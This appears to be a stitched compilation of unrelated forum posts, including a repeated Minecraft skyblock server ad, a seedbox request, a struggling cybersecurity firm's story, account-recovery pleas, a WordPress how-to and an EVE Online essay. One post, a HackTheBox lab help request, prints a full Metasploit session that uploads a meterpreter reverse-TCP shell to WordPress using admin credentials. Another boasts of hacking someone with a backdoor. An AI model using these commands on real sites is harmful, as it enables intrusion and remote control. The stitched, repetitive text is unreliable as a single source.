Hey beautiful people! With all this "oG rObLoX PlAyEr" bullshit I've been coming across a lot of obviously bot accounts, which I heard that they are generated/hacked profiles. I've also heard way back in the past that it was not that hard to hack into these old accounts.
So all this made me very curious... do older accounts have some kind of fragility? And how the hell do they can generate accounts with manipulated join date? I'm not asking for a tutorial...
Judging by the sub name, I think this is the proper place for this question. PLEASE DON'T HACK ME

CLASSIC-STYLE HARDCORE SKYBLOCK

• New (Started 05/14)
• Versions: 1.20.4 to 1.20.6

IP Address: 135.148.124.185
Many years ago, skyblock was the number one gamemode in minecraft. Now, it’s a wasteland. The few servers left are overly complex, have pointless features, have a /shop where everything can be bought for pennies, and only donors or the admin's friends can get ahead.
Bountycraft fixes this. This is a classic-style skyblock server. Based largely on my experience playing Skyblock as a little kid a decade ago.
This server is authentic, simple and fair. Offering the skyblock plugin, the iconic original island, and chestshop for a player-run economy. That's it.
There's no pay-to-win, no endless spam, GUIs or tutorials, no ranks, no admin shops that kill the economy, no kits, no crates, no spawned-in items, and so on. It's not easy, everything has to done by the players themselves
Built by players who experienced skyblock at it's best, for a new generation of islanders.
Bountycraft is a tribute and a successor to the golden-era of Skyblock servers. Skyblock as it's meant to be.
It's rustic and rough around the edges, that's on purpose and how it should be. I’m hoping to create a chilled out, friendly environment, where you can be as competitive or casual as you want.
RULES -> No hacking, cheating, exploits, hateful language, bullying, toxicity... basically don't be a dick. That pretty much covers it but more detailed rules can be found ingame. Fairness is going to be paramount on here, so you can be assured that players caught cheating will just be banned immediately.
NOTES ->

You cannot buy ANYTHING at spawn or an adminshop. If you want something, you have to get it yourself or find a player who will sell it to you. The economy is setup to be built and handled by the players themselves, you can make your own shops and there's a place at the spawn for players to advertize their own private shops or businesses.
PvP is off by default, but each player can toggle it on/off if they want to PvP on an island or make their own arenas

It started a week ago today, a few people have started playing, but it would be nice to get a small community. If you want to play proper skyblock in a fair, equal, friendly environment, come check it out =)

CLASSIC-STYLE HARDCORE SKYBLOCK

• New (Started 05/14)
• Versions: 1.20.4 to 1.20.6

IP Address: 135.148.124.185
Many years ago, skyblock was the number one gamemode in minecraft. Now, it’s a wasteland. The few servers left are overly complex, have pointless features, have a /shop where everything can be bought for pennies, and only donors or the admin's friends can get ahead.
Bountycraft fixes this. This is a classic-style skyblock server. Based largely on my experience playing Skyblock as a little kid a decade ago.
This server is authentic, simple and fair. Offering the skyblock plugin, the iconic original island, and chestshop for a player-run economy. That's it.
There's no pay-to-win, no endless spam, GUIs or tutorials, no ranks, no admin shops that kill the economy, no kits, no crates, no spawned-in items, and so on. It's not easy, everything has to done by the players themselves
Built by players who experienced skyblock at it's best, for a new generation of islanders.
Bountycraft is a tribute and a successor to the golden-era of Skyblock servers. Skyblock as it's meant to be.
It's rustic and rough around the edges, that's on purpose and how it should be. I’m hoping to create a chilled out, friendly environment, where you can be as competitive or casual as you want.
RULES -> No hacking, cheating, exploits, hateful language, bullying, toxicity... basically don't be a dick. That pretty much covers it but more detailed rules can be found ingame. Fairness is going to be paramount on here, so you can be assured that players caught cheating will just be banned immediately.
NOTES ->

You cannot buy ANYTHING at spawn or an adminshop. If you want something, you have to get it yourself or find a player who will sell it to you. The economy is setup to be built and handled by the players themselves, you can make your own shops and there's a place at the spawn for players to advertize their own private shops or businesses.
PvP is off by default, but each player can toggle it on/off if they want to PvP on an island or make their own arenas

It started a week ago today, a few people have started playing, but it would be nice to get a small community. If you want to play proper skyblock in a fair, equal, friendly environment, come check it out =)

1) Are you OK with direct message offers from vendors?
Yes.
2) What are your main reasons for wanting a seedbox?
Jellyfin server for friends, Sonarr, Radarr, Bazarr, Ombi, Readarr,
3) Are you okay with sharing hardware resources with other users [shared] or do you need the seedbox hardware dedicated to just you [dedicated]?
Dedicated
4) Do you want someone else to be responsible for maintaining the seedbox software (operating system, applications) [managed] or do you want to do it all yourself [unmanaged]?
Managed
5) Please describe your seedbox experience. (You may wish to list any seedbox providers you've been with before.)
Seedboxes.cc, little experience.
6) Please describe your experience with Linux. (Most seedboxes run Linux and some knowledge of it may be helpful.)
None Whatsoever.
7) What is the high end of your budget? (Please give a specific amount and a currency. "Cheap" might mean something different to one person than it does to another.)
$500
8) Do you have preferences or requirements concerning payment? (Paypal, Bitcoin, etc.)
Won't do crypto. Paypal preferred but not required
9) Do you plan to use public trackers?
Yes
10) What kind of connection speed do you need? (Common answers would be 100Mbps, 1Gbps, 2Gbps, 10Gbps.)
10 Gbps
11) How much combined upload and download traffic do you expect each month? Include download of files from the seedbox to your local computer. If you don't know, tell us what upload amount per month would realistically make you very happy with your seedbox.
1-2TB
12) What is the minimum disk space you need?
2TB, more is preferred
13) Do you require a specific type of mass storage? (HDD, SSD, NVMe SSD) If other than HDD, please explain why you think you need this.
SSD
14) Do you require a specific torrent client?
Answer here...
15) Do you require any other applications on the seedbox? (e.g. Plex, Subsonic, Radarr)
Jellyfin, Radarr, Sonarr, Prowlarr, Bazarr (Bare minimum) Readarr, Ombi, Calibre, Jellystat Any Sync server (Bonus)
16) Do you require SSH access to the command line?
No.
17) Do you require access to a remote desktop?
No.
18) Do you require admin level (i.e. 'root') access? If yes, please explain why.
No.
19) Do you have any other specific requirements?
No.
20) Is there any other information you think might help in getting a useful recommendation?
No.

Forgive me for any blunders, I don't often create posts on Reddit. I thought I'd share my tale with you guys, and maybe ask a few questions.
I founded my company in 2009 - a small IT Managed Services Provider. We bootstrapped the company (meaning we never took funding / did a funding round) and continue to do so today. There have definitely been times when I wish I had a large line of credit from an investor to draw on, but it's also nice having full control over the company, sans outside influences.
Just before COVID hit we had started to change away from the generic "IT Services" and really concentrate on Cybersecurity - specifically automating the more expensive parts of cyber defense to make it more accessible / affordable to all companies. We've had some really great success in achieving that - for instance, we're able to provide pentration testing (ethical hacking assessments) monthly for $6k per year, versus the industry standard of 20k-50k for a single test every YEAR.
Until COVID hit, we had never done any outbound marketing. I have a co-founder who serves as our CEO/CFO (admin and dollar signs, both things I hate.) At the times when I wanted to spend money on outbound services, it wasn't in the budget or other things were a higher priority.
Now, here I am on the flip side of COVID, with 3 employees left, including myself. I went into COVID with 11 full time employees, not including myself. Several of our large accounts went out of business and we lost a cumulative $400k in annual recurring revenue which is what I'm not sure I'll ever be able to truly recover from.
The last 5-6 months have been spent drinking from a fire hose for outbound marketing. I took out a small personal loan to invest in this area and have had little success. My biggest success has come from Dripify in automating my own LinkedIn Messaging vs paying a vendor to do it. But I'm not getting the sales as quickly as I need to be comfortable and keep the company afloat. I'm happy to answer any questions, etc. and I appreciate any and all insights folks may have.
So I guess I have a few questions:

• What have you done in terms of affordable outbound marketing that actually produced actionable leads?
• Is there a time when a small business owner needs to "give up the passion" and just move on and work for someone else? I started working on my resume again today, something I thought I'd never do again the rest of my life.
• There are a few "side hustles" that I could start being a 20-year veteran of cybersecurity. Things like a vCISO / Board Consultant, etc. I fear those will be a conflict of interest with my primary company though, and also the time commitment of getting those started.

I definitely have some lessons learned:

• Make sure business development is part of your company from the very first day
• Spend the money on marketing / sales generation. Whatever works, do it. Do it early, do it often
• Be confident and comfortable in who you are and what your expertise is. Be loud. Make a splash. And stand behind your statements and strategies.

It's a weird time, facing the very real possibility of losing my company. Learn from my mistakes, maybe drop some insight if you have it and don't get scared off from starting your own company.

CLASSIC-STYLE HARDCORE SKYBLOCK

• New (Started 05/14)
• Versions: 1.20.4 to 1.20.6

IP Address: 135.148.124.185
Many years ago, skyblock was the number one gamemode in minecraft. Now, it’s a wasteland. The few servers left are overly complex, have pointless features, have a /shop where everything can be bought for pennies, and only donors or the admin's friends can get ahead.
Bountycraft fixes this. This is a classic-style skyblock server. Based largely on my experience playing Skyblock as a little kid a decade ago.
This server is authentic, simple and fair. Offering the skyblock plugin, the iconic original island, and chestshop for a player-run economy. That's it.
There's no pay-to-win, no endless spam, GUIs or tutorials, no ranks, no admin shops that kill the economy, no kits, no crates, no spawned-in items, and so on. It's not easy, everything has to done by the players themselves
Built by players who experienced skyblock at it's best, for a new generation of islanders.
Bountycraft is a tribute and a successor to the golden-era of Skyblock servers. Skyblock as it's meant to be.
It's rustic and rough around the edges, that's on purpose and how it should be. I’m hoping to create a chilled out, friendly environment, where you can be as competitive or casual as you want.
RULES -> No hacking, cheating, exploits, hateful language, bullying, toxicity... basically don't be a dick. That pretty much covers it but more detailed rules can be found ingame. Fairness is going to be paramount on here, so you can be assured that players caught cheating will just be banned immediately.
NOTES ->

You cannot buy ANYTHING at spawn or an adminshop. If you want something, you have to get it yourself or find a player who will sell it to you. The economy is setup to be built and handled by the players themselves, you can make your own shops and there's a place at the spawn for players to advertize their own private shops or businesses.
PvP is off by default, but each player can toggle it on/off if they want to PvP on an island or make their own arenas

It started a week ago today, a few people have started playing, but it would be nice to get a small community. If you want to play proper skyblock in a fair, equal, friendly environment, come check it out =)

I am currently going to a community college and my major is network security/cyber security. I have taken firewalls, ethical hacking, network security, intro to networks, intro to html etc. Some of my professors have talked about compTIA exams but not in detail on what a good path would be. I have switched majors a few times but cybersecurity oddly just comes natural to me and is really easy and fun. I would love to be a penetration tester as my dream job but I would be okay with being a network security admin for a company, I just want to be well versed in multiple things. What order should I take the compTIA exams in? (I also read a bit about entry level positions like helpdesk and I would really appreciate if someone shared more info on that!)

Can somebody help me figure out why I'm getting the error: "Exploit aborted due to failure: unexpected-reply: Failed to upload the payload?" I'm using Kali Linux on VirtualBox and I'm following the Hacking Wordpress module on HackTheBox.
msf6 > search wp_admin
Matching Modules

# Name Disclosure Date Rank Check Description
0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_admin_shell_upload
msf6 > use 0
[*] No payload configured, defaulting to php/meterpretereverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
username => admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password sunshine1
password => sunshine1
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts http://83.136.250.227:44946/
rhosts => http://83.136.250.227:44946/
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Authenticating with WordPress using admin:sunshine1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
PASSWORD sunshine1 yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS http://83.136.250.227:44946/ yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME admin yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpretereverse_tcp):
Name Current Setting Required Description
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
0 WordPress
View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > Interrupt: use the 'exit' command to quit

is there any way to get my roblox account got hacked years ago back again with no email and number? i have proof of my receipts.

Hi everyone,
I hope you're all doing well. I'm reaching out today because I need some help recovering my old Facebook account that was hacked.
Here's the situation:

• I can see my old account listed as an admin in our Facebook group and in our group chat, but when I try to view the profile, it appears blank.
• In 2021, I attempted to recover the account, but the hacker had enabled two-factor authentication and then deactivated the account, making it difficult for me to regain access.
• My first name on the old account is different, but my real surname is the same.

If anyone has experienced a similar situation or has any advice on how I can recover my account, I would greatly appreciate your help. I miss being able to connect with everyone through my original profile and access the memories and connections I've built over the years.
Thanks so much in advance for your support and suggestions!

I lost him when I hacked into someone on my KALI LINUX😎😎😎 but I accidentally installed a backdoor pleeease

I am working on a modpack server that is planned to have a story mode. The lore revolves around Pokemon becoming a recent phenomenon in the world, so the story will have a lot of fresh components to it compared to standard Pokemon gameplay. The server is already running with its own custom domain (cobblemonnw.com). Story mode will start as soon as I get more people to work on it, spawn is nearly finished + permissions are getting set up for survival mode. To give the spawn some personality I added some easter eggs throughout as well as NPCs that actually talk to you! *If the server earns revenue these positions will become paid.
Server Development Roles (Not counting me) - Mod Developer: 0/1 - Writer: 0/2 - Builder: 0/3 - Texture Artist: 0/2 - Concept Artist: 0/1
General Roles (for Discord + the Minecraft server) - Moderator: 0/5 - Helper: 0/∞ - QA Tester: 0/6 **QA Testers make sure the server is balanced and not laggy on multiple spec types.
About Me: I have been a Blender modeler for 3 years and can (of course) model in and animate in Blockbench. I originally develop games for Roblox (currently modeling for 2 games that will came out in a year or 2) so I am already familiar with game development.
My (current) Roles - Server Manager - Admin - Writer - Builder - Mod Developer (still learning Java, though) *Note: Being a builder is too time consuming on top of the other roles so I'd like to hand off that role asap (even though I didn't built most of the map it's taken over 12 hours to fix it up the way I like).
If interested or have questions, please message me here or DM on Discord via @carisoul these details: - Minecraft Username: - Desired Role: - Prior Experience: - Portfolio/Past Work: - Timezone: - Schedule: (ie. # of hours a week you can work on it)

Context: I have a shared mullvad vpn subscription and i can only have one device. I have a Cloud VM instance where my gluetun container is running along with some other services like transmission torrent, jackett etc. I have nginx reverse proxy setup along with a domain on cloudflare.
My goal is to connect to the gluetun (for mullvad vpn) shadowsocks proxy using a shadowsocks client on my iphone or other devices. I did setup nginx reverse proxy for 8388 port along with subdomain, but ss client just wont connect for some reason.
I have read about shadowsocks and had it setup almost a year back. I am not sure if i am doing something wrong with glueton or maybe my nginx config? am i missing something here?
My docker compose for gluetun looks like this:

 gluetun: container_name: gluetun image: qmcgaw/gluetun:latest cap_add: - NET_ADMIN environment: - VPN_SERVICE_PROVIDER=mullvad - VPN_TYPE=wireguard - WIREGUARD_PRIVATE_KEY=**** - WIREGUARD_ADDRESSES==**** - SERVER_COUNTRIES=USA - SHADOWSOCKS=on - SHADOWSOCKS_PASSWORD=**** - SHADOWSOCKS_CIPHER=aes-256-gcm ports: - 9091:9091 #Transmission Web Traffic (Allow you to talk to Transmission) - 51413:51413 #Transmission - 51413:51413/udp #Transmission - 9117:9117 #jackett - 8191:8191 #flaresolverr - 8388:8388/tcp #shadowsocks - 8388:8388/udp #shadowsocks restart: unless-stopped 

To develop a custom WordPress website, plan your site structure and design. Next, install WordPress on your hosting server and choose a suitable theme or create a custom one. Customize the design and functionality using HTML, CSS, and PHP coding as needed. Add content, including pages, posts, and media, to populate your site. Finally, test your site thoroughly across different browsers and devices to ensure it functions correctly before launching it to the public.
What are the initial steps to create a personalized WordPress site?

1. Define your goals and objectives for the website.
2. Choose a suitable domain name for your WordPress site.
3. Select a reliable web hosting provider that meets your needs.
4. Install WordPress on your hosting server.
5. Choose a theme that aligns with your brand and design preferences.
6. Customize the theme settings and appearance to match your desired look and feel.
7. Create essential pages such as Home, About, Contact, and Services.
8. Install and configure necessary plugins for added functionality.
9. Set up user roles and permissions as per your requirements.
10. Develop a content strategy and plan for creating and organizing your website content.

Step-by-Step Guideline Develop a Custom WordPress Website

Step 1: Choose a Domain Name and Hosting
Your domain name is your website's address on the internet, like www.yoursite.com. Choose a domain name that's easy to remember, relevant to your brand, and not too long. Next, you'll need hosting, which is like renting space on the internet to store your website files. Look for a hosting provider that offers reliable service, good customer support, and enough storage and bandwidth for your needs.
Step 2: Install WordPress
WordPress is a popular platform for building websites because it's easy to use and highly customizable. Many hosting providers offer a one-click WordPress installation, which makes getting started a breeze. Simply log in to your hosting account, find the WordPress installer, and follow the prompts to set up your site. Once WordPress is installed, you can log in to your site's dashboard and start customizing it to your liking.
Step 3: Select a Theme
A WordPress theme determines the overall look and layout of your website. There are thousands of free and premium themes available, so take your time to find one that fits your style and the goals of your site. Look for a theme that's responsive (meaning it looks good on all devices), easy to customize, and well-supported by its developers. Once you've chosen a theme, you can install it on your WordPress site with just a few clicks.
Step 4: Customize Your Theme
Once you've installed your theme, it's time to customize it to make it your own. Most WordPress themes come with built-in customization options that allow you to change things like colors, fonts, and layouts without needing to know any code. Use the theme customizer in your WordPress dashboard to tweak your site's appearance until it looks just the way you want it to. Don't be afraid to experiment until you find the perfect look for your website.
Step 5: Add Content
With your theme customized, it's time to start adding content to your website. Create pages for important information like your Home page, About page, Services page, and Contact page. Use the WordPress editor to add text, images, videos, and other media to your pages. Write clear, engaging copy that tells visitors what your website is about and encourages them to explore further. Remember to proofread your content carefully before publishing to ensure it's free of errors.
Step 6: Install Plugins
WordPress plugins are like apps that add extra features and functionality to your website. There are thousands of plugins available for everything from contact forms to social media integration to search engine optimization. Think about the goals of your website and choose plugins that will help you achieve them. Be selective about the plugins you install, as too many can slow down your site and cause conflicts. Install and activate your chosen plugins from the WordPress plugin directory, then configure them to suit your needs.
Step 7: Optimize for SEO
Search engine optimization (SEO) is the process of improving your website's visibility in search engine results. A well-optimized website is more likely to rank higher in search results, driving more traffic to your site. Install an SEO plugin like Yoast SEO or All in One SEO Pack to help you optimize your content for relevant keywords, add meta tags and descriptions, and improve your site's overall SEO performance. Take the time to research keywords relevant to your niche and incorporate them naturally into your content for the best results.
Step 8: Test and Launch
Before you launch your website, it's important to test it thoroughly to ensure everything is working correctly. Check your site on different devices and browsers to make sure it looks good and functions properly. Test all links, forms, and interactive elements to make sure they work as expected. Once you're confident that everything is working as it should, it's time to launch your website and share it with the world. Celebrate your hard work and take pride in your new custom WordPress website!
Step 9: Maintain and Update
Building a website is just the beginning – maintaining it is an ongoing process. Regularly update your content to keep it fresh and relevant, and update your plugins and themes to ensure your site stays secure and performs well. Monitor your site's performance using tools like Google Analytics, and make adjustments as needed to improve usability and user experience. Listen to feedback from your visitors and make changes accordingly to keep your website running smoothly and meeting the needs of your audience.
What do you consider to select hosting and a domain name for your WordPress site?
Firstly, you'll want to choose a hosting provider that offers good speed and reliability. Look for one that has a solid reputation and good customer support in case you run into any issues. Consider your budget too, as hosting costs can vary.
As for the domain name, it's important to choose something that's easy to remember and relevant to your site's content. Avoid using complicated or obscure words that might be hard for people to spell or remember. It's also a good idea to check if your desired domain name is available on social media platforms to maintain consistency across your online presence. Lastly, think about whether you want to use a .com, .net, or other domain extension, keeping in mind what best suits your site's purpose and audience.
How do you evaluate and choose a theme that suits your brand and design preferences?
Firstly, consider your brand identity and the message you want to convey to your audience. Look for a theme that aligns with the style, colors, and overall feel of your brand.
Next, think about the functionality you need. Do you want a theme that's highly customizable or one that's more straightforward? Consider features like layout options, customization options, and compatibility with plugins you might want to use.
It's also important to check the responsiveness of the theme. Make sure it looks good and functions well on various devices, including smartphones and tablets.
Lastly, take some time to browse through different themes and read reviews from other users. This can give you a better idea of what to expect and help you make an informed decision that suits your brand and design preferences.
What essential pages should you create first?

• Homepage
• About Us/About Me
• Contact Page
• Products/Services Page
• Blog
• Privacy Policy
• Terms of Service
• Legal Pages (Disclaimer, Copyright Notice, etc.)

How do you decide which plugins to install?

1. Identify Needs: Determine the specific functionality you require for your site.
2. Research: Look for plugins that offer the features you need.
3. Ratings and Reviews: Check plugin ratings and read user reviews to gauge reliability and performance.
4. Compatibility: Ensure the plugin is compatible with your WordPress version and other installed plugins.
5. Active Installations: Choose plugins with a high number of active installations for reliability and community support.

Example:

• Yoast SEO (for search engine optimization)
• Contact Form 7 (for creating contact forms)
• WooCommerce (for e-commerce functionality)
• Jetpack (for security, performance, and site management)
• WP Super Cache (for caching to improve site speed

How do you integrate custom features and functionalities into your WordPress site?
Integrating custom features and functionalities into your WordPress site involves adding extra capabilities beyond what comes with the standard installation. One way to do this is by using plugins. These are like apps for your website, and they can add all sorts of new features, from contact forms to e-commerce shops.
For example, let's say you want to add a feature for visitors to book appointments on your site. You could search for a booking plugin like "Bookly" or "Appointment Booking Calendar." After installing and activating the plugin, you'd typically set it up by following the provided instructions, which might involve configuring settings, creating booking forms, and placing them on your site where you want them to appear.
Another way to integrate custom features is by adding code directly to your site. This could involve writing your own custom functions or modifying existing ones. For instance, if you wanted to add a custom sidebar widget displaying your latest Instagram photos, you might need to write some PHP code to fetch the photos from Instagram's API and display them on your site.
In summary, integrating custom features and functionalities into your WordPress site can be done through plugins or by adding custom code, allowing you to tailor your site to your specific needs and preferences.
How do you manage user roles and permissions?
RoleCapabilitiesHow to Manage AdministratorCan do everything, including managing other users, installing plugins, and changing themes.Go to Users > All Users in the dashboard, find the user, and change their role to Administrator. EditorCan publish and manage posts, including those of other users.Go to Users > Add New, fill in user details, and assign the role of Editor. AuthorCan publish and manage their own posts only.In Users > All Users, select a user and change their role to Author. ContributorCan write and manage their own posts but cannot publish them.Add or edit a user and assign the role of Contributor. SubscriberCan only manage their own profile and read content.Change the user role to Subscriber in the Users section.
What security measures should you implement to protect your custom WordPress website?
To protect your custom WordPress website, you need to implement several security measures. Here are some specific steps:

1. Install a Security Plugin: Use plugins like Wordfence or Sucuri. They offer features like malware scanning and firewall protection.
2. Use Strong Passwords: Make sure all users have strong, unique passwords. A good password includes letters, numbers, and symbols.
3. Enable Two-Factor Authentication (2FA): This adds an extra layer of security. Users will need to enter a code from their phone in addition to their password.
4. Keep WordPress Updated: Always update WordPress to the latest version. Updates fix security vulnerabilities.
5. Limit Login Attempts: Use a plugin like Limit Login Attempts Reloaded to prevent brute-force attacks.
6. Change the Default "admin" Username: Don’t use "admin" as your username. Choose something unique to make it harder for hackers to guess.
7. Use HTTPS: Get an SSL certificate to encrypt data between your website and visitors. Most hosting providers offer this for free.
8. Backup Your Site Regularly: Use plugins like UpdraftPlus to create regular backups. If your site gets hacked, you can restore it.

How do you ensure responsiveness and mobile-friendliness in a custom WordPress site?
To ensure your custom WordPress site is responsive and mobile-friendly, follow these steps:

1. Pick a Responsive Theme: Start with a theme known for being responsive, such as Astra or GeneratePress.
2. Use a Mobile-Friendly Plugin: Install plugins like WP Touch, which help make your site mobile-friendly.
3. Apply Media Queries: Add CSS media queries to adjust your layout for different screen sizes. For example:

(Css code)@media (max-width: 768px) {
.sidebar { display: none; }
.content { width: 100%; }
}

1. Flexible Images and Videos: Ensure images and videos resize properly with:

(Css code)img, video { max-width: 100%; height: auto; }

1. Mobile Menu: Use a plugin like Responsive Menu to create a user-friendly mobile menu.
2. Optimize for Speed: Compress images using a plugin like Smush and enable caching with a plugin like W3 Total Cache.
3. Testing: Regularly test your site on different devices and browsers. Tools like Google’s Mobile-Friendly Test and BrowserStack can help.

How do you troubleshoot and debug issues that arise during the development of a custom WordPress site?
Troubleshooting and debugging issues during the development of a custom WordPress site involves several steps. Here are some real-world challenges and specific issues you might encounter:

1. White Screen of Death (WSOD): This issue often occurs due to PHP errors, plugin conflicts, or exhausted memory limits. Solution: Enable WordPress debugging by adding define('WP_DEBUG', true); to your wp-config.php file to display error messages. Check the error log for specific issues.
2. Plugin Conflicts: Plugins can conflict with each other or with the theme, causing functionality problems.Solution: Deactivate all plugins and reactivate them one by one to identify the conflicting plugin. Check for updates or consider alternative plugins.
3. Theme Issues: Custom themes might have coding errors or compatibility issues with WordPress updates. Solution: Use a child theme for customizations to avoid losing changes during updates. Validate your theme code using tools like Theme Check.
4. Database Errors: Corrupt or misconfigured databases can lead to errors or data loss. Solution: Use phpMyAdmin to check and repair database tables. Ensure regular backups are in place to restore data if needed.
5. Broken Links and 404 Errors: Incorrect URLs or deleted pages can lead to 404 errors, affecting user experience and SEO. Solution: Use a plugin like Redirection to manage and fix broken links. Regularly check for 404 errors using tools like Google Search Console.
6. Slow Performance: Poor performance can result from unoptimized images, bulky plugins, or inefficient code. Solution: Optimize images, use caching plugins like W3 Total Cache, and minimize CSS and JavaScript files. Profile your site using tools like Query Monitor to identify slow queries.
7. JavaScript Errors: JavaScript errors can break site functionality, especially interactive features. Solution: Use the browser’s developer tools (F12) to inspect the console for JavaScript errors. Fix issues by debugging the scripts or checking for library conflicts.
8. Security Vulnerabilities: Sites can be vulnerable to attacks if not properly secured. Solution: Regularly update WordPress, themes, and plugins. Use security plugins like Wordfence, and implement strong passwords and two-factor authentication.
9. Responsive Design Issues: Ensuring the site looks good on all devices can be challenging. Solution: Use responsive design techniques and test the site on various devices and screen sizes. Tools like BrowserStack can help simulate different environments.
10. User Role and Permission Problems: Incorrect configuration of user roles and permissions can lead to security and functionality issues. Solution: Use the User Role Editor plugin to manage and troubleshoot roles and capabilities. Ensure that users have appropriate access levels.

How do you create a seamless user experience (UX) in a custom WordPress site?
To create a seamless user experience (UX) in a custom WordPress site, start by choosing a clean, responsive theme that looks good on all devices. Ensure your site loads quickly by optimizing images and using caching plugins like W3 Total Cache. Simplify navigation with clear menus and breadcrumbs, making it easy for users to find what they need. Use readable fonts and sufficient white space to make content easy to read. Add a search bar so visitors can quickly locate information. Implement intuitive forms with clear labels and error messages. Regularly test your site on different devices and browsers to ensure everything works smoothly. By focusing on these details, you can make your WordPress site user-friendly and enjoyable to navigate.
How do you implement e-commerce functionality in a custom WordPress site?
To implement e-commerce functionality in a custom WordPress site, start by installing a reliable e-commerce plugin like WooCommerce. Set up your store by adding products with detailed descriptions, prices, and images. Configure payment gateways such as PayPal or Stripe to accept online payments securely. Customize the appearance of your store using built-in themes or by modifying CSS styles. Create user-friendly navigation with categories and filters to help customers easily browse products. Implement shopping cart functionality to allow users to add items and proceed to checkout seamlessly. Set up shipping options and rates based on location and weight. Test the entire purchasing process to ensure it works smoothly for users. Regularly update plugins and monitor sales to optimize your e-commerce site for success.
Conclusion
Creating a custom WordPress website involves several key steps. You start by deciding on your site's goals and picking a domain name and hosting provider. Then, you install WordPress, choose a theme, and customize it to match your brand. Next, you add content, like pages and posts, and install plugins for extra features, such as contact forms or SEO optimization. You'll want to make sure your site is responsive and works well on mobile devices. Lastly, you test everything thoroughly before launching your site to ensure it's ready for visitors. And don't forget to keep it updated and secure over time!

So im casually playing roblox and i join an elected admin server, i join in and everyone is beefing on this admin, so i decide to become an insurgent after 3 votes and i kill the admin, a good admin gets elected and im casually building then suddenly a side admin shows up to my build then they start breaking my build, they just spam "Hahahaha" in chat and it happens alot other times so i tell the head admin that one of his side admins are destroying my builds, he told me that i should back off and not lie about his side admins INSTEAD of checking chat. Apparently he was friends with the side admin and i get pissed off about this so i create a flying spike machine and kill the head admin, but he told me that for killing him i have to build him a statue and house, this made me mad and i left the server, im thinking if im the jerk because i mightve just caused a problem in the server cuz everyone was chilling but i wonder if im not because the admin didnt care

As we have all been watching carefully the last few month, and within the last few weeks there has been a steady hyping up for the new Expansion Equinox.
I would like to start asking a few different questions, because I see a few interesting issues that have cropped up in the CCP streams. Which raises more than a few interesting questions.
How does Equinox shifting to Skyhook and the new resource system help the game from a Strategic viewpoint? I do have a concern that the Equinox suite of options will add alot of problems into the game. One being the concept that Nullsec Empire Sprawl might give members of the "Blue Donut" way too much power and resources. While basically shutting out any new groups from ever getting a foothold in nullsec. It might also make Sov control and management too powerful for those who have Third Party functionalities that could be used to simplify the attempted complexities of the games new expansion.
The new changes, have some eyebrows raised on territorial control, which means alot of smaller groups will never own sov space, especially if the "left overs" suddenly become very valuable for a "Blue Donut" operators who will not tolerate any especially high value systems not being in their control.
I personally believe the new system, if new groups or opposition isn't leveled during the "grace period" of the swap over. Will further entrench "Blue Donut" stranglehold on nullsec, and gatekeep in a literal sense any new attempts to take sov space.
Does Equinox undo some of the attempts of Scarcity to redress some of the imbalance of manufacturing and resources? From what I can see, as of the current situation; it appears that Equinox suite will allow Nullsec to "decouple" from the rest of the game. Meaning Nullsec no longer has to interact with the rest of the game and trade and move goods between Null/Pochven/WH/Low/Highsec/FW. Where as Scarcity did create a wider net of interlocking economy, well with Nullsec kind of bypassing this with Pochven if you consider it. But, the rest of the game will be left in a state more or less within Scarcity Rule Sets. [Which I believe is not beneficial for long term health of game.]
The current concept of personalization of Equinox suite affected space to various minerals will have a negative effect in the long term with mining and manufacturing. And there is a little bit of some concern how many of these changes will also affect different areas of space. CCP has been adament that POCOs will not be replaced by Skyhooks, but that certain assets of Equinox will be able to interact in lowsec without the Equinox logistics base. Their reasoning is in order to run the lowsec automated mining drills; you will have to go out into Nullsec to steal reagents and fuels for the lowsec materials.
Yes, CCP has made the note that automated drills vs. mining stations with moon drills will have pros/cons. [Generally Mining Station Moon Drills will have more resources, vs. automated drills.] But, I think that argument will become a moot point when the vast majority of the moons are literally infested by a monopoly cartel of automated moon drills. And players can't interact with the mining station moon drill in most space...over 0.5. And most groups will consider the automated drills as a better investment over the long term...because they can be replaced easier than a mining station. [Which will cause a Positive Feedback Loop in game probably causing issues in the future with people not using the Mining Stations.]
I personally think the Automatic Mining Drill should only be deployed where a Mining station as been placed. And then the Station tractors the the mine cans from the automated drill to the station in question. So you have a target to interdict, and destroying the automatic drill will interrupt activity; and the economic cost of deploying both assets together will help offset but force a choice of the use of the mining station between automated drill and manual moon drill.
Is forced Engagement in Content a good Idea in game? I do not believe so, We saw alot of people disliking the ESS mechanics; and this having knock on effects in game with the population. The ESS scram bubble did kind of narrow alot of activity to cruisers and above. Which killed some content for alot of players. And then the meta became very specific ships were fitted for the ESS, which also shows a narrowing of content options and ideas. The Keys for the ESS reserve bank, were then used in a way to actually "cash out" many alliances materials. Instead of driving content.
